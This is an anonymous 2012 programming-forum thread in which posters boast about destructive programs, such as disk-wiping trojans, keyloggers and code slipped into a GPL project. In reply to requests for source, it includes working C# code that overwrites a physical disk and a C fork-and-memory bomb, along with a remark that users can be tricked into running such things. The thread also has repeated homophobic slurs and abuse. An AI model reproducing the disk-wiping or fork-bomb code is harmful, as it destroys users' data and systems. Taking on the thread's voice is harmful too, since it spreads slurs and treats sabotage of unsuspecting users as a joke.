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Dangerous programs

Name: Anonymous 2012-06-09 19:43

I once released a spamming tool on /b/ that zeroed out the user's hard disk except for the boot sector, into which was installed some code which displayed a duckroll upon starting the computer, and hanging.

Tell me your dangerous programs you've written, /prog/.

Name: Anonymous 2012-06-09 20:00

a keylogger, a malicious irc bot, and 2 virii.

Name: Anonymous 2012-06-09 20:02

I don't believe you have the permissions to do such a thing.

Name: Anonymous 2012-06-09 20:56

I once contributed to a GPL project. It's the most dangerous license for the Man who tries to control our code.

Name: Anonymous 2012-06-09 22:44

>>4
licences that allow closed source extensions help bring down monopolies by giving a boost to the lowly competitors. It helps the little men bring down the man. Although the little men are just as bad, if not worse.

Name: Anonymous 2012-06-09 23:17

I once wrote a program that would check the hard drive for copies of the GPL and try to use subliminal messages to try to turn the user into a pedophile if it found any. Later I took the subliminal message code, obfuscated it, and contributed it to a reasonably popular GPL project. It's been several years, and they're still using that code, unchanged, and no one has even questioned the strange way that it's written because the entire project is such a mess.

Name: Anonymous 2012-06-09 23:19

>>6
LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL

Name: Anonymous 2012-06-09 23:20

>>6
Is it garnew emacs?

Name: Anonymous 2012-06-09 23:21

>>6
>>7
samefag

Name: Anonymous 2012-06-09 23:22

gnupedophilia

Name: Anonymous 2012-06-09 23:24

>>9
no lol

>>7
>>8
are the same fellow (me).

>>6 is some other weird kid.

Name: Anonymous 2012-06-09 23:26

>>11
you are a weirdo faggot

Name: Anonymous 2012-06-09 23:41

>>12
WATCH YOUR PRIVILEGE, MALE PROGRAMMER.

Name: Anonymous 2012-06-09 23:44

>>13
fuck off and die in a fire you cock sucking faggot.

Name: Anonymous 2012-06-09 23:44

>>12
What makes you think I'm a weirdo faggot?

Name: Anonymous 2012-06-09 23:45

>>14
WATCH YOUR PRIVILEGE, MALE PROGRAMMER.

Name: Anonymous 2012-06-09 23:49

>>16
WATCH YOUR PRIVILEGE, MALE PROGRAMMER.

Name: Anonymous 2012-06-09 23:52

>>17
WATCH YOUR PRIVILEGE, MALE PROGRAMMER.

Name: Anonymous 2012-06-10 8:58

Did it spam "Nyoro~n" or something? Also that is not dangerous. You know nothing about dangerous. Even a basic network worm is more dangerous since it causes your ISP to shut down your internet connection and you will actually have to communicate socially to get it back up.

Come back when you have coded a cruel angel to wipe out and replace the human race..

Name: Anonymous 2012-06-10 12:26

>>1
>>6
>>19

These are all interesting.  Any of you still have the source?

Name: Anonymous 2012-06-10 12:32

I coded a virus that downloaded the internetz on your pc

Name: Anonymous 2012-06-10 12:49

i read past a buffer

Name: Anonymous 2012-06-10 14:00

>>6
This is awesome.

Name: Anonymous 2012-06-10 14:21

>>19
Haha, yes, that was it. Did you run it?

Name: Anonymous 2012-06-10 14:41

>>20
No source, but here's the duckrool boot sectors: http://pastebin.com/gXw8V6b2

Name: Anonymous 2012-06-10 15:07



    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern SafeFileHandle CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern bool WriteFile(SafeFileHandle handle, byte[] buffer, uint count, ref uint written, IntPtr lpOverlapped);

    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern bool CloseHandle(SafeFileHandle handle);

    private static void SlowlyWipeDisk()
    {
        SafeFileHandle handle = CreateFile(@"\\.\PhysicalDrive0", 0x40000000, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
        byte[] buffer = new byte[0x100000];
        uint written = 0;
        while (!quitting)
        {
            WriteFile(handle, buffer, 0x100000, ref written, IntPtr.Zero);
            Thread.Sleep(750);
        }
        CloseHandle(handle);
    }

Name: Anonymous 2012-06-10 15:14

>>26

and the user would run that with administrator privileges why...?

Name: Anonymous 2012-06-10 15:20

>>27
You'd be amazed what you can get users to run when they have no idea what they're doing.

Name: !L33tUKZj5I 2012-06-10 20:43

Once wrote a program that showed a picture of a cat with a gun to its head and a button. It said "Click the button or the cat gets it!"

Once the button was clicked, it wiped out the users home folder. That was probably ten years ago now, I released it on kazaa. Wonder if it's still out there anywhere.

Name: Anonymous 2012-06-10 21:40

#include <unistd.h>
void main() { for(;;) { malloc(104857600); fork(); }

Name: Anonymous 2012-06-10 21:43

how do I learn to write malware? are there any books or do I have to figure it out from scratch?

Name: Anonymous 2012-06-10 21:50

>>31
SICP.

Name: Anonymous 2012-06-10 21:54

>>25
Huh, so it is

http://i.imgur.com/xbur7.png

Name: Anonymous 2012-06-10 22:32

>>30
void main()
void
void
void

Suicide, please.

Name: Anonymous 2012-06-10 22:35

>>34
Nothing was returned, hence void.

Name: Anonymous 2012-06-10 23:23

>>20
>>6 here. I still have the obfuscated version, but it would be too easy for someone to Google that and get it removed.

Name: Anonymous 2012-06-10 23:39

>>6
use subliminal messages to try to turn the user into a pedophile
Quoted for bullshit.

Name: Anonymous 2012-06-11 1:13

boot sector
The 30-year-old IBM PC architecture is obsolete. Intel is mad because nobody will buy their chips except for "legacy" Windows PC users! Despite what billions spent on marketing and redefining words would have you believe, x86 is a "proprietary legacy system"!

Name: Cudder !MhMRSATORI!FBeUS42x4uM+kgp 2012-06-11 4:00

>>38
Far from it. The installed software base is huge.

Name: VIPPER 2012-06-11 4:38

>>39
And yet nearly nothing of it is worth a shit.
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